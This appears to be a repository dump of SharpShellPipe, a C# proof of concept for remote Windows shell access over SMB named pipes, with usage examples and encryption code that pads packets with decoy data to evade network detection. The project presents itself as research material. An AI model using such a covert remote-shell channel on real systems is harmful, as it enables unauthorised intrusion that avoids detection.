├── .gitignore
├── Assets
└── image.png
├── LICENSE
├── README.md
├── SharpShellPipe.sln
└── SharpShellPipe
├── Program.cs
└── SharpShellPipe.csproj
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
--------------------------------------------------------------------------------
/Assets/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PhrozenIO/SharpShellPipe/535ba7f131d1a1a18e0f298d6358b37394ca8878/Assets/image.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpShellPipe
2 |
3 | ## Project Description
4 |
5 | 
6 |
7 | This lightweight C# application serves as a demonstration of how simple it is to interactively access a remote system's shell via named pipes using the SMB protocol. It includes an optional encryption layer leveraging AES GCM, utilizing a shared passphrase between both the server and the client. If you're interested in an example that employs both AES GCM and RSA for additional security, consider checking out another one of my projects, [SharpFtpC2](https://github.com/DarkCoderSc/SharpFtpC2). Implementing that security layer into this project would also be relatively straightforward.
8 |
9 | Exercise caution if you decide to use this project in a production environment; it was not designed for such use. Proceed at your own risk. The primary aim of this project is to illustrate a well-known network evasion detection technique that will soon be featured on the [Unprotect Project](https://unprotect.it/) website.
10 |
11 | ## Usage
12 |
13 | ### Server (Broadcast the Shell)
14 |
15 | `SharpShellPipe.exe`
16 |
17 | This is the computer you wish to access to.
18 |
19 | #### Options
20 |
21 | | Parameter | Type | Default | Description |
22 | |---------------------|------------------|------------|--------------|
23 | | --passphrase (`-p`) | String | None | A passphrase that will enable and encrypt all traffic between the server and the client is highly recommended. |
24 | | --username | String | None | An existing Microsoft Windows local user account. |
25 | | --password | String | None | Password of specified user account. |
26 | | --domain | String | None | specify the domain of the user account under which the new process is to be started. |
27 |
28 | #### Examples
29 |
30 | Start the named pipe server as the current user with traffic encryption enabled:
31 |
32 | ```powershell
33 | SharpShellPipe.exe -p "myp4ssw0rd!"
34 | ```
35 |
36 | Start the named pipe server as another user (`darkcodersc`) without traffic encryption:
37 |
38 | ```powershell
39 | SharpShellPipe.exe --username "darkcodersc" --password "winpwd"
40 | ```
41 |
42 | ### Client (Receive the Shell)
43 |
44 | `SharpShellPipe.exe --client`
45 |
46 | #### Options
47 |
48 | | Parameter | Type | Default | Description |
49 | |---------------------|------------------|------------|--------------|
50 | | --client (*) | String | None | Enable client mode; server mode is the default setting. |
51 | | --name (`-n`) | String | "." | Specify the target machine name where the named pipe server is waiting for connections. By default, the connection attempt is made to the local machine. |
52 | | --passphrase (`-p`) | String | None | A passphrase that will enable and encrypt all traffic between the server and the client is highly recommended. |
53 |
54 | `*` = Mandatory Options
55 |
56 | #### Examples
57 |
58 | Connect to the named pipe server on the local machine with traffic encryption enabled:
59 |
60 | ```powershell
61 | SharpShellPipe.exe --client -p "myp4ssw0rd!"
62 | ```
63 |
64 | Connect to the named pipe server on `Phrozen` machine without traffic encryption:
65 |
66 | ```powershell
67 | SharpShellPipe.exe --client --name "Phrozen"
68 | ```
69 |
70 | ## Changelog
71 |
72 | ### (2025/02/21) V2.0
73 |
74 | - Implement command line argument parsing instead of prompting the user.
75 | - Make several improvements and fix glitches.
76 | - It is now possible to spawn a shell as a different Windows user using RunAs.
--------------------------------------------------------------------------------
/SharpShellPipe.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33815.320
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpShellPipe", "SharpShellPipe\SharpShellPipe.csproj", "{43BB3C30-39D7-4B6B-972E-1E2B94D4D53A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {43BB3C30-39D7-4B6B-972E-1E2B94D4D53A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {43BB3C30-39D7-4B6B-972E-1E2B94D4D53A}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {43BB3C30-39D7-4B6B-972E-1E2B94D4D53A}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {43BB3C30-39D7-4B6B-972E-1E2B94D4D53A}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {394FE5B1-4990-4F8F-8104-96FE6CAE035D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpShellPipe/Program.cs:
--------------------------------------------------------------------------------
1 | /*
2 | * =========================================================================================
3 | * Project: SharpShellPipe
4 | *
5 | * Description: SharpShellPipe is a minimal C# example that showcases the use of Windows
6 | * named pipes for gaining remote shell access to either a local or a distant
7 | * Windows machine.
8 | *
9 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc)
10 | * Email: jplesueur@phrozen.io
11 | * Website: https://www.phrozen.io
12 | * GitHub: https://github.com/PhrozenIO
13 | * https://github.com/DarkCoderSc
14 | *
15 | * Twitter: https://twitter.com/DarkCoderSc
16 | * License: Apache-2.0
17 | *
18 | * This script is provided "as is", without warranty of any kind, express or implied,
19 | * including but not limited to the warranties of merchantability, fitness for a particular
20 | * purpose and noninfringement. In no event shall the authors or copyright holders be liable
21 | * for any claim, damages or other liability, whether in an action of contract, tort or
22 | * otherwise, arising from, out of or in connection with the software or the use or other
23 | * dealings in the software.
24 | *
25 | * =========================================================================================
26 | */
27 |
28 | using CommandLine;
29 | using System.Collections;
30 | using System.Diagnostics;
31 | using System.IO.Pipes;
32 | using System.Net;
33 | using System.Security.Cryptography;
34 | using System.Text;
35 | using System.Text.Json;
36 |
37 | class Program
38 | {
39 | public static byte[]? EncryptionKey;
40 |
41 | // Program Configuration Begin ++++++++++++++++++++++++++++++++++++++++++++++++++++
42 | public const string NamedPipePrefix = "DCSC";
43 | // Program Configuration End ++++++++++++++++++++++++++++++++++++++++++++++++++++++
44 |
45 | public const string StdOutPipeName = $"{NamedPipePrefix}_stdOutPipe";
46 | public const string StdInPipeName = $"{NamedPipePrefix}_stdInPipe";
47 |
48 | ///
49 | /// Writes a verbose message to the screen, displayed in yellow text along with a small icon to
50 | /// signify the nature of the output message.
51 | ///
52 | ///
53 | ///
54 | public static void WriteVerbose(string message, char icon)
55 | {
56 | Console.ForegroundColor = ConsoleColor.Yellow;
57 | Console.WriteLine($"[{icon}] {message}");
58 | Console.ResetColor();
59 | }
60 |
61 | ///
62 | /// The Encrypted Bundle includes both the ciphertext and the associated information required for
63 | /// decryption. The Nonce and Tag are specifically used in conjunction with AES GCM mode.
64 | /// The Nonce is used during the decryption process, while the Tag serves as part of the
65 | /// authentication mechanism in GCM mode. The Salt is used in the AES passphrase derivation process,
66 | /// adding complexity and ensuring that the AES key is unique across different encryption
67 | /// iterations.
68 | ///
69 | protected class EncryptedBundle
70 | {
71 | public byte[] Data { get; set; }
72 | public byte[] Nonce { get; set; }
73 | public byte[] Tag { get; set; }
74 | public byte[] Salt { get; set; }
75 | }
76 |
77 | ///
78 | /// The Encrypted Packet Class holds the plaintext data; in our Proof of Concept (PoC), this
79 | /// is represented by a single character stored as an integer in the Data field. Dummy1 and Dummy2
80 | /// are decoys introduced to increase the entropy of the Encrypted Packet Class content. Because of
81 | /// these variables, the size and content of an Encrypted Packet will differ with each iteration,
82 | /// thereby adding an additional layer of obfuscation to its potential nature once encrypted.
83 | ///
84 | protected class EncryptedPacket
85 | {
86 | public byte[] Dummy1 { get; set; }
87 | public byte[] Data { get; set; }
88 | public byte[] Dummy2 { get; set; }
89 | }
90 |
91 | ///
92 | /// This method derives a 256-bit key suitable for our AES encryption from the given passphrase.
93 | /// If no salt is provided, the function generates and returns a random 256-bit salt. Note
94 | /// that the iteration count is set to 1000; although this may seem low, it is more than
95 | /// sufficient for our Proof of Concept (PoC). Increasing this value will significantly
96 | /// slow down the encryption process for each data chunk/packet. This is particularly important
97 | /// to consider because in our setup, shell output is sent character by character, and each
98 | /// character undergoes passphrase derivation with a new random salt.
99 | ///
100 | ///
101 | ///
102 | ///
103 | public static (byte[], byte[]) SetupEncryptionKey(string passphrase, byte[]? salt = null)
104 | {
105 | if (salt == null)
106 | {
107 | salt = new byte[32]; // 256-bit salt
108 |
109 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-7.0?WT_mc_id=SEC-MVP-5005282
110 | using RandomNumberGenerator randomGenerator = RandomNumberGenerator.Create();
111 |
112 | randomGenerator.GetBytes(salt);
113 | }
114 |
115 | using Rfc2898DeriveBytes pbkdf2 = new(passphrase, salt, 1000);
116 |
117 | return (pbkdf2.GetBytes(32), salt); // 256-bit key
118 | }
119 |
120 | ///
121 | /// This method generates a byte array with both a random size and random content.
122 | /// This is used to populate the decoy fields (Dummy1 and Dummy2) in our Encrypted Packet Class.
123 | /// You can adjust the minimum and maximum size limits to control the range of variability for
124 | /// the generated array.
125 | ///
126 | ///
127 | public static byte[] RandomBytes(uint sizeMinTolerence = 32, uint sizeMaxTolerence = 1024)
128 | {
129 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-7.0?WT_mc_id=SEC-MVP-5005282
130 | using RandomNumberGenerator randomGenerator = RandomNumberGenerator.Create();
131 |
132 | byte[] randomArraySizeCandidate = new byte[4]; // sizeof(uint)
133 |
134 | uint randomArraySize = 0;
135 |
136 | randomGenerator.GetBytes(randomArraySizeCandidate);
137 |
138 | randomArraySize = sizeMinTolerence +
139 | (BitConverter.ToUInt32(randomArraySizeCandidate, 0) % (sizeMaxTolerence - sizeMinTolerence + 1));
140 |
141 | byte[] randomBytes = new byte[randomArraySize];
142 |
143 | randomGenerator.GetBytes(randomBytes);
144 |
145 | return randomBytes;
146 | }
147 |
148 | ///
149 | /// Unlike our previous Proof of Concept (PoC) using FtpC2, in this iteration, we will demonstrate
150 | /// an alternative encryption technique. Instead of employing both RSA and AES,
151 | /// we will use just a shared passphrase for encryption.
152 | ///
153 | ///
154 | ///
155 | ///
156 | public static string Encrypt(byte[] plainData, string encryptionPassphrase)
157 | {
158 | (byte[] encryptionKey, byte[] salt) = SetupEncryptionKey(encryptionPassphrase);
159 |
160 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-7.0?WT_mc_id=SEC-MVP-5005282
161 | using RandomNumberGenerator randomGenerator = RandomNumberGenerator.Create();
162 |
163 | // Generate a one-time secure random nonce(usually 12 byte / 96 bits)
164 | // Generating a random nonce is discouraged due to the risk of nonce + same key collision (which is generally very unlikely)
165 | // For this PoC, we will ignore this best practice since the risk is very low.
166 | byte[] nonce = new byte[AesGcm.NonceByteSizes.MaxSize];
167 | randomGenerator.GetBytes(nonce);
168 |
169 | byte[] tag = new byte[AesGcm.TagByteSizes.MaxSize];
170 |
171 | byte[] dummy1 = RandomBytes();
172 | byte[] dummy2 = RandomBytes();
173 |
174 | EncryptedPacket encryptedPacket = new()
175 | {
176 | Dummy1 = dummy1,
177 | Data = plainData,
178 | Dummy2 = dummy2,
179 | };
180 |
181 | string data = JsonSerializer.Serialize(encryptedPacket);
182 |
183 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-7.0?WT_mc_id=SEC-MVP-5005282
184 | using AesGcm aes = new(encryptionKey);
185 |
186 | byte[] plainText = Encoding.UTF8.GetBytes(data);
187 | byte[] cipherText = new byte[plainText.Length];
188 |
189 | // Encrypt plain-text using our setup, an authentication tag will get returned.
190 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm.encrypt?view=net-7.0
191 | aes.Encrypt(nonce, plainText, cipherText, tag);
192 |
193 | EncryptedBundle encryptedBundle = new()
194 | {
195 | Data = cipherText,
196 | Nonce = nonce,
197 | Tag = tag,
198 | Salt = salt,
199 | };
200 |
201 | return JsonSerializer.Serialize(encryptedBundle);
202 | }
203 |
204 | ///
205 | /// Encrypt String Wrapper
206 | ///
207 | ///
208 | ///
209 | ///
210 | public static String EncryptString(string value, string encryptionPassphrase)
211 | {
212 | return Encrypt(Encoding.UTF8.GetBytes(value), encryptionPassphrase);
213 | }
214 |
